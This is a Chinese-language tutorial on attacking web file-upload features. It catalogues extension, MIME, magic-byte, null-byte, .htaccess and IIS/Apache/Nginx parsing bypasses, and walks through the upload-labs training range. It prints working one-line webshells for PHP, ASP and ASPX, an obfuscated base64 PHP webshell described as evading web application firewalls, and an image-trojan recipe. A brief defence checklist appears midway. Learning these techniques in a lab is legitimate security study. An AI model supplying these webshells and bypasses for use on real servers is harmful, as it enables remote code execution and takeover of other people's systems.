在网站的运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这时便需要使用到网站的文件上传的功能。如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用于上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。
一些经典的位置都可以让你把文件给上传到服务器上,但是通常有一些检测流程,建议从流程开始出发,针对性的面对检测上传文件。
1.基础知识:
-
PHP Server
.php .php3 .php4 .php5 .php7 # Less known PHP extensions .pht .phps .phar .phpt .pgif .phtml .phtm .inc
-
ASP Server :
.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)
-
JSP :
.jsp, .jspx, .jsw, .jsv, .jspf
-
Perl:
.pl, .pm, .cgi, .lib
-
Coldfusion:
.cfm, .cfml, .cfc, .dbm
① 上传欺骗
-
使用双扩展名 :
.jpg.php
-
使用反向双扩展(有助于利用Apache错误配置,其中任何扩展名为.php但不一定以.php结尾的内容都将执行代码):
.php.jpg
-
大小写混合 :
.pHp, .pHP5, .PhAr
-
0字节 (works well against
pathinfo()
)-
.php%00.gif
-
.php\x00.gif
-
.php%00.png
-
.php\x00.png
-
.php%00.jpg
-
.php\x00.jpg
-
-
特殊字符
-
文件后缀多点过滤 :
file.php......
,在Windows中,创建文件时,文件末尾的点将被删除。 -
空白字符:
file.php%20
-
从右到左解析 (RTLO):
name.%E2%80%AEphp.jpg
会变成name.gpj.php
.
-
-
Mime 类型, 更改 Content-Type : application/x-php
or
Content-Type : application/octet-streamto
Content-Type : image/gif`-
Content-Type : image/gif
-
Content-Type : image/png
-
Content-Type : image/jpeg
-
设置内容类型两次:一次用于不允许的类型,一次用于允许的类型。
-
-
魔法字节
有些时候应用程序是根据第一个特征字符来识别文件类型的。在文件中添加或者替换特殊字符可能可以欺骗应用程序。
-
-
PNG:
\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
-
JPG:
\xff\xd8\xff
-
GIF:
GIF87a
ORGIF8;
-
-
Shell can also be added in the metadata
-
-
在Windows中使用NTFS备用数据流(ADS)。在这种情况下,冒号字符“:”将插入禁止的扩展名之后和允许的扩展名之前。因此,将在服务器上创建具有禁止扩展名的空文件(例如“
file.asax:.jpg
”)。稍后可以使用其他技术(如使用其短文件名)编辑此文件。“:$data”模式也可用于创建非空文件。因此,在此模式后添加点字符可能有助于绕过进一步的限制(.例如“file.asp::$data.
”)
2.上传检测:
-
客户端JavaScript检测 (通常为检测文件扩展名)
举例:
function check() { var filename = document.getElementById("file"); var str = filename.value.split("."); var ext = str[str.length-1]; if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif') { return true; } else { alert("仅允许上传png/jpeg/gif类型的文件!") return false; } return false; }
绕过方法:
-
上传页面,审查元素,修改JavaScript检测函数;
-
将需要上传的恶意代码文件类型改为允许上传的类型,例如将dama.asp改为dama.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名dama.jpg改为dama.asp。
-
上传webshell.jpg.jsp,可能前端程序检查后缀时,从前面开始检查
-
-
服务端MIME类型检测 (检测Content-Type内容)
举例:
<?php if($_FILES['userfile']['type']!="image/gif") {//检测Content-type echo"Sorry,weonlyallowuploadingGIFimages"; exit; } $uploaddir='uploads/'; $uploadfile=$uploaddir.basename($_FILES['userfile']['name']); if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)) { echo"Fileisvalid,andwassuccessfullyuploaded.\n"; } else { echo"Fileuploadingfailed.\n"; } ?>
-
绕过方法:配置Burp Suite代理进行抓包,将Content-Type修改为image/gif,或者其他允许的类型。
-
服务端目录路径检测 (检测跟Path参数相关的内容)
常见于asp系统
绕过方法:
例如path参数为如下“upfile/”,可以尝试修改为“upfile.asp/”或者“upfile/1.asp/”或者“upfile/1.asp;.”,注意观察返回的文件名。返回的文件名可能为:upfile/1.asp;.201704117886.jpg,满足IIS6.0解析漏洞。
-
服务端文件扩展名检测 (检测跟文件extension相关的内容)
服务器端设置了上传文件的黑白名单,
绕过方法:
-
文件名大小写绕过: 使用Asp、PhP之类的文件名绕过黑名单检测
-
名单列表绕过: 用黑名单里没有的名单进行攻击,比如很名单中没有的asa或者cer之类
-
特殊文件名绕过: 比如在发送的HTTP包中,将文件名改为”dama.asp.”或者”dama.asp_”(下划线为空格),这种命名方式在window系统里是不被允许的,所以需要在Burp Suite中抓包修改,上传之后,文件名会被window自动去掉后面的点或者空格,需要注意此种方法仅对window有效,Unix/Linux系统没有这个特性。
-
0x00截断绕过:
上传dama.jpg,Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode。
-
上传.htaccess文件攻击:(适用于黑名单检测方式,黑名单中未限制.htaccess) 该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。
-
解析漏洞绕过 直接上传一个注入过恶意代码的非黑名单文件即可,再利用解析漏洞利用。
-
-
服务端文件内容检测 (检测内容是否合法或含有恶意代码)
-
文件幻数检测:
JPG : FF D8 FF E0 00 10 4A 46 49 46 GIF : 47 49 46 38 39 61 (GIF89a) PNG: 89 50 4E 47 绕过方法: 在文件幻数后面加上自己的一句话木马就行了。
-
文件相关信息检测: 一般就是检查图片文件的大小,图片文件的尺寸之类的信息。 绕过方法: 伪造好文件幻数,在后面添加一句话木马之后,再添加一些其他的内容,增大文件的大小。
-
文件加载检测: 这个是最变态的检测,一般是调用API或者函数去进行文件加载测试,常见的是图像渲染测试,再变态一点的甚至是进行二次渲染。 绕过方法: 针对渲染加载测试:代码注入绕过 针对二次渲染测试:攻击文件加载器
通常对于文件内容检查的绕过,就是直接用一个结构完整的文件进行而已代码注入即可。
-
3.Web Server漏洞
① Apache解析漏洞:
就是当存在一个文件为xxx.x1.x2.x3的文件的时候:
会先从后到前开始解析,如果x3不属于Apache解析的拓展名,那么会推前解析,直到遇到一个可以解析的文件名为止。
Apache2.0.x<=2.0.59 Apache2.2.x<=2.2.17
一般基础漏洞仅存在于低版本中,一般不予考虑。
② IIS解析漏洞:
IIS6.0
-
文件类型 正常:www.xxx.com/logo.jpg 触发漏洞:www.xxx.com/logo.asp;.jpg 按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么logo.php;.jpg也会被当成PHP文件执行)
-
文件夹类型 正常:www.xxx.com/image/logo.jpg 触发漏洞:www.xxx.com/image.asp/logo.jpg 按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么image.php文件夹下的文件也会被当做PHP文件解析。)
IIS7.0以上
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。(例如:webshell.jpg/x.php) IIS7.0(Win2008R1+IIS7.0) IIS7.5(Win2008R2+IIS7.5) IIS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi 的漏洞, 所以其实跟IIS自身是无关的。
Nginx解析漏洞
-
一个是对任意文件名,在后面添加”/任意文件名.php”的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击;
-
低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击;
4.文件上传防御:
-
轻量级检测必然能绕过
-
检测的重点放在文件内容检测
-
路径/扩展名检测一定要用白名单
-
不能有本地文件包含漏洞
-
随时注意更新Web应用软件
一句话木马:
php : <?php @eval($_POST[‘lzx’]);?>
: <?php $a = "a"."s"."s"."e"."r"."t";$a($_POST[cc]);?>
asp : <% eval request(“lzx”)%>
aspx : <%@ Page Language="Jscript"%><%eval(Request.Item["lzx"],"unsafe");%>
PHP一句话:
<?php
$mt="JF9QT1N";
$ojj="QGV2YWwo";
$hsa="UWydpMGle";
$fnx="5BeSleleddKTs=";
$zk = str_replace("d","","sdtdrd_redpdldadcde");
$ef = $zk("z", "", "zbazsze64_zdzeczodze");
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)));
$zvm();
?>
过狗一句话总结为:打乱字符、编码技术、拆分组合、创建、匹配;
图片木马制作:(Linux环境下)
copy /b 1.jpg+2.php
5.测试方法:
-
关掉上传文件的功能 如果Web应用程序不需要上传文件的功能,则可以直接将上传文件的功能关闭来避免不必要的麻烦。打开“php.ini”文件,找到file uploads的位置,将file_uploads设置成Off。
-
限制能够上传的文件大小 如果黑客采取连续不断地上传文件,或是上传极大的文件,来使Web应用程序没有更多资源来处理其他来访者的请求,黑客就可以借此来瘫痪网站。PHP的限制机制可以让您限制允许上传文件体积的最大值,来避免来访者上传太大的文件。单独POST请求的最大值,可以使用php.ini文件的upload_max_size来设置。打开“php.ini”文件,找到upload_max_size的位置,将upload_max_size设置成想要的值。
-
检查上传文件的类型
-
检查上传文件的内容
-
上传的文件不要保存在公开的文件夹内,以避免被黑客直接读取。另外将文件的路径隐藏起来,或是将文件名称改成没有扩展名的随机文件名,都可以增加上传文件的安全性。
-
上传jpg文件,抓包修改文件类型为脚本格式(asp、aspx、php、jsp等)。
-
有些应用检测上传文件类型时,通过文件名中的第一个‘.’来分割文件后缀名,所以可以尝试上传xxx.jpg.php(asp、aspx、jsp等)。
6.文件上传训练场(Releases · c0ny1/upload-labs · GitHub)
下载release版本,然后直接开启即可
先创建一个php文件作为上传的文件
<?php phpinfo(); ?>
Pass-01(JS代码审计)
前端JavaScript代码审计
修改前端代码即可上传。
Pass-02(HTTP报文检查)
先照常上传文件,然后发现它弹出这种报错:
猜测可能是对Content-Type
进行了验证
打开Burp Suite抓包试试,并且进行修改:
将Content-Type改为 image/jpeg ,即可上传成功
Pass-03(上传特殊可解析后缀)
第三关了,报出不允许上传.asp,.aspx,.php,.jsp后缀文件!这样的错误,应该是PHP进行了黑名单的检测。
可以试一下phtml以及php3
可以发现上传成功!
Pass-04(上传.htaccess)
都第四关了,它应该丧心病狂把所有可以限制的文件后缀都给加入黑名单了,查看源码,果不其然!!
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
那就要想到我们的,欸?它好像没有禁止.htaccess
那我们可以操作一番:
先创建个文件 .htaccess
SetHandler application/x-httpd-php
然后直接上传,这个文件会默认把所有文件解析为php
然后直接上传木马php文件,并且依旧更改filename,
然后直接访问index.gif就可以看到info了!!!
Pass-05(后缀大小写绕过)
看到这一关,好了,它真的把所有文件都给禁了!连.htaccess也不例外!!
但是,它竟然没有进行大小写的约束!!
那就直接操作filename就可以了!
直接上传访问即可!
Pass-06(后缀空格绕过)
又上升了一个难度,对全部后缀实行黑名单,并且还有大小写的黑名单。
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
但是它没有对后缀空格进行过滤,所以直接在文件filename后面加一个空格即可!!
Pass-07(后缀点绕过)
黑名单与大小写禁用还有空格过滤,难度激增,但想到Windows下,好像有后缀.绕过这一说法,那就试一下!!
果然可以,成功了!!但没试过Linux下的hh
Pass-08(后缀::$DATA绕过)
这关不知道,上网查了之后发现Windows特性,后缀可以加上"::$DATA"进行绕过:
Windows没有太过于了解,所以不会做!!!Linux才是强项hh
Pass-09(配合绕过)
进行代码审计,发现:
$img_path = UPLOAD_PATH.'/'.$file_name;
这可以利用它的过滤进行上传
构造的是: 文件.php. .
后面是(点+空格+点)
经过过滤后,又变为文件.php
上传成功!!
Pass-10(双名后缀绕过)
审计源代码,可以发现:
$file_name = str_ireplace($deny_ext,"", $file_name);
它将问题后缀转变为空,那么我们可以进行操作
pphphp
双写绕过
上传成功!!!
Pass-11(%00绕过)
老样子,审计一波
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
拼接,可以用古老的%00截断
上传成功!!!
有错请指出,大家一起从0开始学,谢谢了!!